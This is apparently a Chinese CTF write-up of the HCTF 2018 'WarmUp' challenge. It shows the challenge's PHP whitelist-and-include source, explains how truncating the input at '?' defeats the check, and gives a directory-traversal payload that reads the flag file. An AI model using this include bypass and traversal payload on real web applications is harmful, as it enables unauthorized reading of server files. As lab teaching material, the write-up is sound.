[HCTF 2018]WarmUp

知识点

  • 目录穿越

F12查看源码得到提示source.php,访问得到源码


    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

访问hint.php得知flag在 ffffllllaaaagggg中
关键点

 #截取?前的所有字符
$_page = mb_substr(#mb_substr(str,start,length) 函数返回字符串的一部分
       	$page,
        0,
        mb_strpos($page . '?', '?') #查找字符串在另一字符串中首次出现的位置 mb_strpos (haystack ,needle )
            );
  • 查看三次是否在白名单中,截取两次?前的字符,进行一次url解码
    尝试payloadsource.php?file=hint.php?ffffllllaaaagggg无果,
    尝试目录穿越source.php?file=hint.php?../../../../../ffffllllaaaagggg得到flag
    参考2018 HCTF Web Writeup

你可能感兴趣的:(目录穿越,BUU)